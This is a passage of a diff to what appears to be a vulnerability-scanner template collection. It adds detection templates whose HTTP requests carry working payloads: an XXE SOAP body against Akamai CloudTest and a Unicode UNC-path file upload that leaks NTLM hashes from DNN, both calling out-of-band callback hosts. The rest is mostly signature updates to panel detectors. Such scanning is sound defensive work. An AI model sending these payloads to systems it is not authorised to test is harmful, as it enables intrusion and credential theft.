+    cpe: cpe:2.3:a:akamai:cloudtest:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    shodan-query: html:"Akamai CloudTest"
+    vendor: akamai
+    product: cloudtest
+  tags: cve,cve2025,akamai,cloudtest,xxe,oast,rce
+
+http:
+  - raw:
+      - |
+        POST /concerto/services/RepositoryService HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: text/html
+        SOAPAction: ""
+
+        <?xml version="1.0" encoding="UTF-8"?>
+        <!DOCTYPE soapenv:Envelope [
+          <!ENTITY xxe SYSTEM "http://{{interactsh-url}}">
+        ]>
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
+                          xmlns:rep="http://example.com/services/repository">
+           <soapenv:Header/>
+           <soapenv:Body>
+              <rep:getUIBundleObjectXml>
+                 <rep:uiBundleRequestXml>&xxe;</rep:uiBundleRequestXml>
+              </rep:getUIBundleObjectXml>
+           </soapenv:Body>
+        </soapenv:Envelope>
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(interactsh_protocol, "dns")'
+          - 'contains(content_type, "text/xml")'
+          - 'contains(body, "XML stream")'
+        condition: and
+# digest: 4b0a00483046022100c888390cfadfc28ea03beb24405be76198070b669820b3221384e76ca5ce009f0221009d8e82394ece4a213c231049a6646a8dba5b6bb1e2c5cfa182ac5a28c4ec3f6f:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-52488.yaml

@@ -0,0 +1,63 @@
+id: CVE-2025-52488
+
+info:
+  name: DNN (DotNetNuke) - Unicode Path Normalization NTLM Hash Disclosure
+  author: assetnote,DhiyaneshDk,iamnoooob,pdresearch
+  severity: high
+  description: |
+    DNN (formerly DotNetNuke) is an open-source web content management platform (CMS) in the Microsoft ecosystem. In versions 6.0.0 to before 10.0.1, DNN.PLATFORM allows a specially crafted series of malicious interaction to potentially expose NTLM hashes to a third party SMB server. This issue has been patched in version 10.0.1.
+  reference:
+    - https://github.com/dnnsoftware/Dnn.Platform/security/advisories/GHSA-mgfv-2362-jq96
+    - https://slcyber.io/assetnote-security-research-center/abusing-windows-net-quirks-and-unicode-normalization-to-exploit-dnn-dotnetnuke/#hunting-variants
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
+    cvss-score: 8.6
+    cve-id: CVE-2025-52488
+    cwe-id: CWE-200
+    cpe: cpe:2.3:a:dnnsoftware:dotnetnuke:*:*:*:*:*:*:*:*
+    epss-score: 0.00031
+    epss-percentile: 0.07222
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: dnnsoftware
+    product: dotnetnuke
+    shodan-query:
+      - "Set-Cookie: dnn_IsMobile"
+      - http.favicon.hash:-1465479343
+    fofa-query:
+      - app="dotnetnuke"
+      - "Set-Cookie: dnn_IsMobile"
+      - icon_hash="-1465479343"
+  tags: cve,cve2025,file-upload,dotnetnuke,oast,oob,dnnsoftware,oss,ntlm
+
+variables:
+  payload: "%EF%BC%BC%EF%BC%BC{{interactsh-url}}%EF%BC%BC%EF%BC%BCc$%EF%BC%BC%EF%BC%BCan.jpg"
+
+http:
+  - raw:
+      - |
+        POST /Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx?PortalID=0&storageFolderID=1&overrideFiles=false HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXXXXXXXXXX
+
+        ------WebKitFormBoundaryXXXXXXXXXXXX
+        Content-Disposition: form-data; name="file"; filename="{{url_decode(replace(payload,'.','%EF%BC%8E'))}}"
+        Content-Type: image/jpeg
+
+        {{randstr}}
+        ------WebKitFormBoundaryXXXXXXXXXXXX--
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the DNS Interaction
+        words:
+          - "dns"
+
+      - type: dsl
+        dsl:
+          - "contains(to_lower(header), 'dnn_ismobile')"
+          - "contains_any(to_lower(body), 'dotnetnuke', 'dnnconnect', 'runtime error')"
+        condition: or
+# digest: 4b0a0048304602210089da827eece16420b3eb8e0ee48337db254e8035a4be03d68df991c932edcb63022100bc1eea7425f8c4446814874a5eaef37418e73f97e8c375caa0ce2d34f90e1e30:922c64590222798bb761d5b6d8e72950

http/exposed-panels/ackee-panel.yaml

@@ -28,4 +28,4 @@ http:
           - 'status_code==200 && contains(tolower(body), "<title>ackee")'
           - "status_code==200 && (\"-1495233116\" == mmh3(base64_py(body)))"
         condition: or
-# digest: 490a00463044022025cb5f469a6370477fe1a939e01e1fd207a74acb2f0b61eabfc3c336a5b68fec0220612f1e7d01f07240fd1f1208d97c99cc107ed1933d35deaaeb44e75a278c96cf:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b9f7b18f52d6b5c377ea7dbb4d6454edf3125dd9f9190190306e7d9a0bb3a6cc0220133baeb5eeed56002733abb82e372b032f8c4d7153b8d03ea8bcc273cf2d3dda:922c64590222798bb761d5b6d8e72950

http/exposed-panels/adfinity-panel.yaml

@@ -32,4 +32,4 @@ http:
         group: 1
         regex:
           - '(?i)Version\s+Adfinity([0-9.]+)'
-# digest: 4b0a00483046022100db8c008d7af396a16c826c4bac212080066d5006311c2da3c17ef8b9037e687d022100ea1a19913937ef299d26daebfdde20516cc9281f426ead5c3862ad85799b57e2:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402205051d47d16b582c6d543155eba0e75e7cb3229dee712e4b5b9d97a80425ead0c02207f1a2aba6a8e9ebd63b83a463fafda4cea71dfb18a69c3cd10882b16d0031039:922c64590222798bb761d5b6d8e72950

http/exposed-panels/akuiteo-panel.yaml

@@ -37,4 +37,4 @@ http:
         group: 1
         regex:
           - '(?i)x-akuiteo-masterhash:\s+([0-9a-f]+)'
-# digest: 4a0a0047304502200cf6963757247069e6cdea752608e19eb4c177b09a4963b8978f4810fb64be9c022100d7002de43cd7c8ae2936b69f3ea1993a8473abe4e77b5e839de8f67f4800a8ac:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100ba74abf09663296af1bca55b017055200771f2563c96f644dd767ea06fca76eb022074af26350c76810a9833117c148ba248a12de9735e76dae9587ce876a0b56997:922c64590222798bb761d5b6d8e72950

http/exposed-panels/amprion-gridloss-panel.yaml

@@ -31,4 +31,4 @@ http:
         group: 1
         regex:
           - '"envTitle":"([A-Z0-9a-z]+)"'
-# digest: 4a0a00473045022025925995dbbe4232778bd91b86f58e213fce90de9feca23d2f258b5023da98e1022100baea03f163618819fac6fc9cc60e43a1e60a7eb95e6784ed96cb04ca1c3d2811:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f0338fe5b97d7c633ba5b00ce49e8bc71653331405f25e9d55bd5da4d5baf4270221009d189b7468886bb85e6b50265001628275e036cd8ff2cb2950d37cfc22a0f6d2:922c64590222798bb761d5b6d8e72950

http/exposed-panels/apigee-panel.yaml

@@ -32,4 +32,4 @@ http:
         group: 1
         regex:
           - 'Version:?\s+([0-9.]+)'
-# digest: 4a0a004730450221009618bb69f08fa97ebf580e06f9c278bd31e40d985b1108eed61bc726639c5d570220293866aa873d793e7928240fcea7d513a0ee88fe419a402a225fa46d7c5dc4bb:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221008f16c5830558e8b396144fec5d19d1dfc468d0c6c5de1aa49c1ab225116e639902202f77b12e14229b379c5ecccb25a06c11ec33d0b571e1bcc4ffd6fe667b9c2b19:922c64590222798bb761d5b6d8e72950

http/exposed-panels/blue-yonder-panel.yaml

@@ -29,4 +29,4 @@ http:
           - 'status_code == 200'
           - 'contains(to_lower(body), "title=\"blue yonder\"")'
         condition: and
-# digest: 4b0a00483046022100b514f464707ec888f62c1fc3de40e3182bb08d1329c7d43d8f041ba4e09d2b93022100b96b17852b685a998703c0d3920cc25425f0eb1bd4517d656f20109d1f87ce51:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022055a653de649328d383fc1436423051e46745ca51f4a8b3ad7da43c5bc6673c4c02204ebb050dcf6b1f0f5016dfcd81639c2696c3a06ac4237ec190e9c9d2be42c207:922c64590222798bb761d5b6d8e72950

http/exposed-panels/bmc/bmc-controlm-mft-panel.yaml

@@ -27,4 +27,4 @@ http:
           - 'contains(to_lower(body), "file exchange</title>")'
           - 'contains_any(to_lower(body), "main-b2b-icon.png", "fileexchange.ico")'
         condition: and
-# digest: 4a0a0047304502204dd54749cbdecd6593571bd97040bb8f2a3ce86d4aee0da2f83e688161b149a9022100ffd50b06c34b95ae0853e0e1ea766c7e5eac689b648ed6ef8611c1ccb199063a:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100bdb915b6baeb7e5871ffd47e09cdb303e66616c139a917b4f99b7b801bfa5317022100b17f39ccef5a678eb20a774f1e7946f6f60d64efd8d4bce4822e2868ea22ad1e:922c64590222798bb761d5b6d8e72950

http/exposed-panels/bmc/bmc-remedy-sso-panel.yaml

@@ -28,4 +28,4 @@ http:
           - 'status_code == 200'
           - 'contains(to_lower(body), "<title>bmc remedy single sign-on domain data entry")'
         condition: and
-# digest: 490a0046304402200b525150bd4973ed9102b295fddb8c880050f53e016865d4137ac7f1d73f4a85022045444e99eac6ab615861477419048268930aa2938d909f68fb8d37f6ecbbfd2d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100eebca7f07c2c0f234ba2be95243411c8253c0572850b12e909f006f4a66c0b8d022044e70e669bd8718e56c1dc74671404bff2fad78abe1f8c64ebf87ffc94cb2b52:922c64590222798bb761d5b6d8e72950

http/exposed-panels/bynder-panel.yaml

@@ -32,4 +32,4 @@ http:
         group: 1
         regex:
           - 'http-equiv="version"\s+content="([0-9\.]+)"'
-# digest: 4b0a00483046022100f994d9c545999e957a3716e8a4db832a94df2a895f2ae6335d9370f217b7a2cf022100cbe1e5c6fa97c2b75de9e57a1d792efa98c02c21a190aeb93378090ce1730a21:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100afa6ac481db723976b7f3d43e31562ed054d7e498bf34b2f1a27c36154dc8008022100dff04f6c280ffa01ac5f9cd690e902b512c1d4c32adca93cecfc7c210b57d61e:922c64590222798bb761d5b6d8e72950

http/exposed-panels/cisco-cm-panel.yaml

@@ -28,4 +28,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a004730450220555930c91a839faf9a3cd6364b0ec11533630085ad76efc29757f36fec56cdb4022100d150a62de27879fffba22b9db83636e479117c829aed6fd26c8f1a040bbbb196:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100c7f3fc47bcb4367eef283cd927b2df3162c223dce378d31c33c344ce26d832340220619f4b18210231ccb4f7610c01d3a665d179dff5d4f42a0ab52a8dc5b9e1056e:922c64590222798bb761d5b6d8e72950

http/exposed-panels/cisco-prime-license-manager-panel.yaml

@@ -28,4 +28,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022100a03a1c95c80c8cbbc36eca9bf6e6286e8d23c7619004ea7f373dc499e74c94f302206a0e5dd4143920d6eeb1a8f4ca7fa36dea6d71ef5ab421c2ca22b4752368ff09:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a68308b28dd855715fc95d386c6214a25e8f959e2bf0e9759baca8e3cc770ed10221009e8e00ac8899724fbf494d458dc31cb7fec7c48ec5b479b277caff3f1590179a:922c64590222798bb761d5b6d8e72950

http/exposed-panels/cockpit-project-panel.yaml

@@ -47,4 +47,4 @@ http:
       - type: dsl
         dsl:
           - '"OS: " + os + " | Hostname: " + hostname'
-# digest: 4a0a00473045022076b3421b9a0d19413d6ceba0ec81f512bf6bbc09c7a30c7ef9218a2623d446c7022100955f59000aea70671ad333732816e662f3cbe7ce03ca668fbe79bbd560ad5434:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221008494207163f27ad54a9c538b836b10d7a9090290dd83f17db9ffd635af454a31022007ed1699439d266b86a8bfbbaf9479dd965e82134209e53f1360b8b56abf95c0:922c64590222798bb761d5b6d8e72950

http/exposed-panels/easyvista-panel.yaml

@@ -33,4 +33,4 @@ http:
         regex:
           - '(?i)package:\s+"([a-z0-9._-]+)"'
           - '(?i)version : ([a-z0-9._-]+)'
-# digest: 4a0a00473045022100aa77f3026ce4c918280860d0a2aeaf9bd34b0fb56cf9a4c3a0c0845c58e8759102201e57317986e1ab619d88b67065645423311f4f5bee41c4e6b9bc78e4f2e754c9:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402201de75b81838839d6f59c6bbb7d193b64d523fb82186d5e78da35c1be0971dda20220583a803595e115ef41af3a8fbdde345a86b21821df47778babb63a55f6fe485a:922c64590222798bb761d5b6d8e72950

http/exposed-panels/fortirecorder-panel.yaml

@@ -31,4 +31,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 490a00463044022029a3a681a86e4e083973ac42bcb2c73ee5e8a8b9953b9ad57a8c354d6337ad5902203f1a653c6811178592c7af8011bf4beb168220189c3f5d0de3bbbf6e2e230c09:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b136276fc6b48c4950ddb1177bf99a03a2af02177f42d35ae7f48cc40ee6b57a022100a4c24f7cc86c9ca4520aa7a1222defa2322508526374d3a952ab701dbc51d67f:922c64590222798bb761d5b6d8e72950

http/exposed-panels/fortiswitch-panel.yaml

@@ -29,4 +29,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 490a0046304402206141df01aa91adb96c275fba394ae26fa969eeeb14235a256d32446ba65878ef02205a9cf6a7b564b0fe5eee68c9b0a7e9ad50a9a43b8a4770f89559bb1f57a6868c:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100efd78fdcfd8d500c669868097242f4fc895cf239569fc97587ccaea3e0ffe949022100936ddde449c4bb4d79a6987e8374413a2ef436dc9abe2b0f18cc0e39e2b8e5af:922c64590222798bb761d5b6d8e72950

http/exposed-panels/gladinet-centrestack-panel.yaml

@@ -30,4 +30,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a0047304502204fd80bde2d76eafe5d048495056452fb03a0daa20d54b0d6b58556a83d90cebe0221008cd433269dd9193cfd980d5a13bdd6dca9d325e0a7a84b990a807b852687db74:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200ded93f442158a8f13f90617f43614b689bbc0339a11e3f359488bf9ac4c52ff022100c949c2978bfa78bfe5aa29beb52f8cd8aefce1d9faf45acccc088515ca5eb4fd:922c64590222798bb761d5b6d8e72950

http/exposed-panels/haivision-media-platform-panel.yaml

@@ -24,4 +24,4 @@ http:
           - 'status_code == 200'
           - 'contains_any(body, "<title>Haivision Media Platform", "content=\"Haivision Network Video")'
         condition: and
-# digest: 4a0a00473045022100d50d1eb67ca621f1aea4c88a8532ca77d588c32e1782de2e768cc5b63ced525d022025058078787b8eac125563e1e742fda0b72b98a7aefd868a058d1e8fb879d38d:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022019166517e3f6cb67f763de0142f7880651a1ac66cfa3a1984f45c61fbab7b0c0022045c97697e1b5744702074ce8881eea21215d0c07dcf4951b890f8181cd24ae1c:922c64590222798bb761d5b6d8e72950

http/exposed-panels/huawei-holosense-panel.yaml

@@ -0,0 +1,95 @@
+id: huawei-holosense-panel
+
+info:
+  name: Huawei HoloSens SDC - Panel
+  severity: info
+  author: darses
+  description: |
+    Detects login panel of Huawei HoloSens SDC, a software-based Internet of Things camera with a modern and high-quality appearance.
+  reference:
+    - https://www.huawei.com/en/products/intelligent-devices/holosens-sdc
+  metadata:
+    max-request: 3
+    vendor: huawei
+    product: holosense_sdc
+    shodan-query:
+      - "Server: SDC Server"
+      - http.html_hash:-968212412
+    fofa-query:
+      - '"Server: SDC Server" && protocol="https"'
+      - '"Server: WebServer/1.0.0" && port="1443"'
+  tags: panel,detect,huawei,holosens,iot
+
+flow: http(1) && http(2) && http(3)
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        part: header
+        words:
+          - "Server: SDC Server"
+          - "Server: WebServer/1.0.0"
+        condition: or
+
+      - type: word
+        part: body
+        words:
+          - "cmcc-login"
+
+  - method: POST
+    path:
+      - "{{BaseURL}}/cgi-bin/main.cgi"
+
+    body: |
+      action=LoginState&glToken=null&stChannelId=101&channelId=101&para=
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        internal: true
+        status:
+          - 200
+
+      - type: word
+        part: body
+        internal: true
+        words:
+          - "LOGIN_NORMAL"
+
+  - method: POST
+    path:
+      - "{{BaseURL}}/cgi-bin/main.cgi"
+
+    body: |
+      action=WebTransterToRestLogout&url=GET+%2FSDCAPI%2FV1.0%2FCustomization%2FElement%0D%0A%0D%0A
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        part: body
+        words:
+          - '"brand": "HoloSens SDC"'
+
+    extractors:
+      - type: json
+        name: version
+        json:
+          - .brandInfoObject.version
+
+      - type: json
+        name: model
+        json:
+          - .brandInfoObject.model

http/exposed-panels/hyperplanning-panel.yaml

@@ -33,4 +33,4 @@ http:
         group: 1
         regex:
           - '(?i)Server:\s+HYPERPLANNING\s+([0-9.\s\-]+)'
-# digest: 4b0a00483046022100c157f5f6df88471ffa6abf1cbbafcfbb186316c7cd49d2f0f4586c2808a4fbd2022100c55b2fb7bf040d10c00b5cefb8f03815d7653b94beac03a350c823d0739b90bf:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221009e5f18f23d8d54f9c03adf636cfe49685a5e1e97ec62e4ad6928ca1411b639390220056318719b346ab4d432ef1da06af06639a170ddeeb66ab78c83fd70725999c3:922c64590222798bb761d5b6d8e72950

http/exposed-panels/ivanti-csa-panel.yaml

@@ -29,4 +29,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a0047304502205e8a34a1ddabdd9edbd702ec1fe22e356cee90f2082a382ae8a0bc4df6d1cf40022100a82ea8c5a4a5c66bfc818305cc44cf8cfd4704385fdd64a70c1679acc6a42e5e:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402201325c964b98e87a29f68fc368f2c1c20e4bc34be418d96774b9a7e13a481039e02202e0430a9e0d32b33d981e6f30a1a925617e4e16b75c6b5f6d6c636b1038940b7:922c64590222798bb761d5b6d8e72950

http/exposed-panels/ivanti-traffic-manager-panel.yaml

@@ -29,4 +29,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 490a00463044022076f6b2495e27bc7fba16b32b26d197e94b26fc3f33f6b71124e767dbbfb58022022030cbf349ff3c596773251343e01e3237120b18e2d7abf0b793451fc65325e674:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200ee5c7db22741280597f501e91220148da057a8b219a186c7156ae942f921e26022100d9fbaf8c0ebf3ff6432950a1a304af88af20a491d7918a3058bfa241d6ba690d:922c64590222798bb761d5b6d8e72950

http/exposed-panels/lorex-panel.yaml

@@ -31,4 +31,4 @@ http:
           - 'contains_all(tolower(body), "<title>web service</title>", "lorex")'
           - 'contains_any(body, "/LOREX_webplugin", "lorex_msg")'
         condition: or
-# digest: 490a0046304402203e97068b429e7167ca6f4489d01d14de9008df0e4528f42b821c17b5b1a463f902205af430cab2f81682be8d81822cb83d46e96d884fe37a64fd8a0174ccd727fad5:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a69600c4e9f3b753c3eb7aa9d07c3031f805f250d2c947afb3d2b3e3932d3099022100a7c96363cf74787518c8ac6098787ec5f35e29635ce3900cbb95f1865c0af73d:922c64590222798bb761d5b6d8e72950

http/exposed-panels/metube-panel.yaml

@@ -29,4 +29,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022100e58821e9d6ea224ce4d9b3137c91c74da5ea4df07a80a88510c5a751ac1d196802201a327ac95a1067c770060cb12cfd20e5277507f0559da65e08002388256bfdcc:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220037e8f3fb73cfe9db267393bb735a8b68979b20a0388c79074e5ffe682911f6a022100c410e3df944fbfd209b8215784513e298f44efbe89012334b9afc654e9efb9b5:922c64590222798bb761d5b6d8e72950

http/exposed-panels/neocase-hrportal-panel.yaml

@@ -32,4 +32,4 @@ http:
         group: 1
         regex:
           - 'name="version"\s+content="([0-9\.]+)"'
-# digest: 4a0a00473045022100f4e56d1194aa8e98d52a4dc7fd6547116ab75fa39e09235187a7bb546a8c69af02206b99400a456998c39cd5ce0ee3055ef6242688b319cc69bedcec6aba2adb83e1:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221008bdfa4eef3d71d2175ab8a91db93471fbbb59c1a68fc83ca7b177020283aae66022100f2f8576f1d215c2032bd3a717ffdb0467299ffec2e74c05edc216f1901c6f02c:922c64590222798bb761d5b6d8e72950

http/exposed-panels/nexus-panel.yaml

@@ -32,4 +32,4 @@ http:
         group: 1
         regex:
           - '_v=([0-9\.\-]+)'
-# digest: 4b0a00483046022100b0cbaa279d72a79eed1b68d59bfd65071a004aff8a667e4773445fbbf279d7e602210085cf350bfa794d775aea58f193d17f5d9b30c73c5e4041291f8b423c9e59d491:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100858694025a8eb91b1db44e19c68f14818449c75b0e49ca4ec7f2626af0c31508022049bb1e52a1d13f58237899931c857190c18634d1bde8c7525cd23a5abd52c5ab:922c64590222798bb761d5b6d8e72950

http/exposed-panels/ngsurvey-panel.yaml

@@ -25,4 +25,4 @@ http:
           - 'status_code == 200'
           - 'contains_all(to_lower(body), "<title>ngsurvey enterprise survey software</title>", "ngsconfig.js")'
         condition: and
-# digest: 4a0a0047304502200d48e1d60c62055f4f9d7c0365f6a8ff61ab7277822a9efac3607288d259841e022100fc8b3e437fd22b84708c853f8a31b8ff2fd1bf4a19dbe1cf115f96deb34a8242:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022036b23846a401809d72ace4434c4fea776b2fb863ee6906e07117620f99728870022100de7143476ad27b5faa27220d9ff571a498b4b61cdd507d92b7a7c1733f48c7a2:922c64590222798bb761d5b6d8e72950

http/exposed-panels/openwebui-panel.yaml

@@ -31,4 +31,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022100eda33384d388e22cdd86ffa80d083224462bcb83a7211bac28b107809e6f17dc022038ff972156c01d54128949c14bac4db415626b55825e1038b99ba37ac463d629:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100dc11eaa749ee281efe9d55c4db8f90b5e10daddf908bf3cc100456a51806eba9022100eabc435b4679198ddf627c1873e9039b6dee5d7c00343f5436054f709df3e942:922c64590222798bb761d5b6d8e72950

http/exposed-panels/oracle-access-management.yaml

@@ -51,4 +51,4 @@ http:
         group: 1
         regex:
           - '(?i)Login\s+-\s+Oracle\s+Access\s+Management\s+([a-z0-9]+)</title>'
-# digest: 490a0046304402207d52a60de1fb52430219bee164c5dd4e3489fa118c939a25af4bddb2ba1a98f602207fff9f9fa0753fccfed26b0609e5f1d49dd389c3b74c111ffbea0d76966b105d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221008b13ad2674517f6c53e26d4bbb29cbdce5aff1fdc2316c9b978253471c4625fb022067e2f84bb5f797f45285c0ab7d999ad4df64808e84926beea1ce3cb149533b9c:922c64590222798bb761d5b6d8e72950

http/exposed-panels/pairdrop-panel.yaml

@@ -33,4 +33,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4b0a00483046022100850ec337734f1d7446ed3321f9dc6d53eeb9a08264cada438836258216d7e44e022100e9adff81f91a87941669f1c4848219e19e742245a470b33052c970829a4d1775:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100cd1b1c21229914affce435d7d096dc7ef99b653d57b63e79c07506289788d9d702205a89280efa8dd84784549d2797602d933f1b26452a5e4abf317c4b84f3da065e:922c64590222798bb761d5b6d8e72950

http/exposed-panels/photoprism-panel.yaml

@@ -27,4 +27,4 @@ http:
           - 'status_code == 200'
           - 'contains_all(body, "PhotoPrism", "login")'
         condition: and
-# digest: 4a0a00473045022011f47293d5e86b2e73d6acf97eed85368cbd9e5d3fba7ae7b39bb1f9a413ac61022100bbb158c2ce687d8cbf7871db13d80116e94c1b8c8fa09384fcae6aa0bb356d73:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100df3bb7e4bfba649f201c2542a3f3ee03efc48703d6ae88df0abdff41faf6dac3022100c177a50995b2387c5f6d40d454b113e2372e67e067ce566a4472fe6ae6c07d3b:922c64590222798bb761d5b6d8e72950

http/exposed-panels/pocketbase-panel.yaml

@@ -31,4 +31,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022100abae38d6ad1812131d2e00236b42bf3858e67596b2194a987ca662a9272ac768022072d3e0b6974ebcca9c799aa499c4142c8c3f9599cc3ff3285e96bff3ef7a7002:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402201ae9b8b2dff3832af85edf228e6bc26516ca1f22e6c6641a4eb9b495e5979a9402203b528604e8e450c00dc89dee6169be99e323aa9772dd18c33ad95385903dee0a:922c64590222798bb761d5b6d8e72950

http/exposed-panels/procore-panel.yaml

@@ -29,4 +29,4 @@ http:
           - '<title>Procore Log In</title>'
           - 'Log in to your Procore account using your email and password'
         condition: and
-# digest: 4a0a004730450220099b70d2a9882e1d018be562a282a45df2a149cc8f7f72356211b34c3681c65b022100a7c75869d0c0ff2e8f3bc657e392817841282f60c68b2638d0e40a86735f9a65:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100a7d66f1298fea663985f4cbdcde986729e0443f1094889300769383c1d98085a0220517789e9ae7f320b928b405975654715c9394171dd7e1170582e39d1db3b26ad:922c64590222798bb761d5b6d8e72950

http/exposed-panels/pronote-panel.yaml

@@ -33,4 +33,4 @@ http:
         group: 1
         regex:
           - '(?i)Server:\s+PRONOTE\s+([0-9.\s\-]+)'
-# digest: 4a0a00473045022028cf80c53a119e44f4cd56de742aa04607627b165ca29ab12899bd60de693e17022100d83e8426a9bcd175050bf2a7904e23eb698d4709ca72bfe2e314ad329a6a487a:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100bef98de0a433b7263dae783c5cf16cf58df3c3855d586715ebd5db0e3ec6eb51022100c441271712429591a37dc07be4413f51d29804090202d41724bb1e1c9024b412:922c64590222798bb761d5b6d8e72950

http/exposed-panels/safenet-authentication-panel.yaml

@@ -32,4 +32,4 @@ http:
         group: 1
         regex:
           - 'V=([0-9.]+)'
-# digest: 4b0a00483046022100d3c906c2d23bea6c69d9e0fd881d169c8bfc8428393f62bcd28a8c1bbfec4010022100dbe8a83fada403031b4d77c376ccdca9a3417d9862858fc88764972ba4b0f9a9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502210098e82aaef3b471d2bc71993760eb7b4ec6f4443bae9e3f865009fbebf458b4c1022050fc9789266b3478b6d0a14e32f269fc7d404e166c4d664919207b4bd7daf03f:922c64590222798bb761d5b6d8e72950

http/exposed-panels/skeepers-panel.yaml

@@ -35,4 +35,4 @@ http:
         group: 1
         regex:
           - 'Version\s+([0-9\.]+)\s+-'
-# digest: 4b0a00483046022100bc72f830fa466210ee454be0810492dcd026f4ef9832a80422ce37ffdf97a887022100b68e77e6d29bd9772127a2cbd7cae8872f1d7993bbbbd266b126d442c11e9dc2:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100fb5bf3bd217a7928085bf3b5de2735e67eca277c84b9b3a4a7eb39e7f07bd1ef02200fdc374adbf92b2e745927232e0926d7d8921ea0e7a53490a30a60eae4274d3c:922c64590222798bb761d5b6d8e72950

http/exposed-panels/tixeo-panel.yaml

@@ -35,4 +35,4 @@ http:
         group: 1
         regex:
           - '"applicationVersion"\s*:\s*"([0-9.]+)"'
-# digest: 4b0a00483046022100d4420219f82f1027488e17ef6bc4c25b764b0e5a19e2022ae8a8dd0c0ecd6fb7022100cbb06c260107f0a38dce823a8b299adc6f7ffe7d9388dfffcb86b1a6d53106d7:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f8e3b25f165439d93f3d3ec0a293e26e3aa8676835f76fed7c7f0495dc58c60d022100e10f4e1e0670942802b2e9ff070d1fa6f043fd6e62ad414bd114ff221dd542d7:922c64590222798bb761d5b6d8e72950

http/exposed-panels/unleash-panel.yaml

@@ -37,4 +37,4 @@ http:
       - type: dsl
         dsl:
           - "status_code==200 && (\"-608690655\" == mmh3(base64_py(body)))"
-# digest: 490a004630440220394a18300d2fbcd5abb19ee8e911f31b94951354da6f11902ab42d5abb5159bd022070bde27358e8ff96fae04e27ae1af018f3a1a3792eb66fb95eab8b525307a41d:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f5e654f2412d7b7808b80f413d535ebcc66018eed05b503b2e5d61499d13c474022100fc3e96c57412dba76f78eadee07e84ea191e979a688d6783433ac859ddcf291d:922c64590222798bb761d5b6d8e72950

http/exposed-panels/veritas-netbackup-panel.yaml

@@ -29,4 +29,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4b0a00483046022100d1a956f9d966871d6fe098f5d1fbb718fd690798b84546d2b12b2c991a83f83e022100ce2a5a8dbc6c0c9c8b7b3c5afb4818567769d2b1e12002d342e82cb467d84853:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022065705ce050aa46eea8c941e16e8efa0cb313b3096420b72f7ada16cba40f3cf0022100b4081a5170ef79256aa1fa1d634dee838310262e47462d5c3ad35ebfa133734b:922c64590222798bb761d5b6d8e72950

http/exposed-panels/vince-panel.yaml

@@ -25,4 +25,4 @@ http:
           - 'status_code == 200'
           - 'contains_any(to_lower(body), "vince - high performance", "vince · open source web", "Welcome to Vince")'
